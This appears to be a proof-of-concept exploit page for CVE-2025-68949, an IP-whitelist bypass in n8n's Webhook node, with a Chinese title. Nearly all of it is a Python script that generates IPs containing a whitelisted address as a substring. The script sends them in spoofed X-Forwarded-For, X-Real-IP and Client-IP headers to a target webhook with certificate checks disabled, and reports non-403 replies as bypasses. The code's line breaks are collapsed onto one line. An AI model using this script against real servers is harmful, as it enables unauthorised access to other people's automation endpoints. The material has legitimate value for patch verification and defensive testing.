CVE-2025-68949 n8n Webhook节点IP白名单绕过漏洞

import requests import ipaddress # CVE-2025-68949 PoC - IP Whitelist Bypass in n8n Webhook Node # This PoC demonstrates bypassing IP whitelist using substring matching vulnerability TARGET_URL = "https://<target-server>/webhook/<webhook-id>" WHITELIST_IP = "192.168.1.1" # Assume this IP is whitelisted def generate_bypass_ips(whitelisted_ip): """ Generate IPs that could bypass whitelist due to substring matching The vulnerable code checks: whitelist.some(entry => requestIP.includes(entry)) """ bypass_ips = [] # Method 1: Append numbers to whitelisted IP base_ip = whitelisted_ip.split('.') for i in range(2, 20): test_ip = f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.{i}" if whitelisted_ip in test_ip: bypass_ips.append(test_ip) # Method 2: Use IPv6 representation containing IPv4 as substring try: ipv4_obj = ipaddress.IPv4Address(whitelisted_ip) ipv6_mapped = f"::ffff:{whitelisted_ip}" bypass_ips.append(ipv6_mapped) except: pass # Method 3: Add extra octets extended_ip = f"{whitelisted_ip}.1" bypass_ips.append(extended_ip) return bypass_ips def test_bypass(): print(f"[*] Target: {TARGET_URL}") print(f"[*] Whitelisted IP: {WHITELIST_IP}") print(f"[*] Generating bypass IPs...") bypass_ips = generate_bypass_ips(WHITELIST_IP) for test_ip in bypass_ips: print(f"\n[~] Testing IP: {test_ip}") try: headers = { 'X-Forwarded-For': test_ip, 'X-Real-IP': test_ip, 'Client-IP': test_ip } response = requests.get(TARGET_URL, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # If we get a different response than blocked, we may have bypassed if response.status_code != 403 and 'blocked' not in response.text.lower(): print(f"[!] POTENTIAL BYPASS with IP: {test_ip}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_bypass() print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation depends on specific n8n configuration.")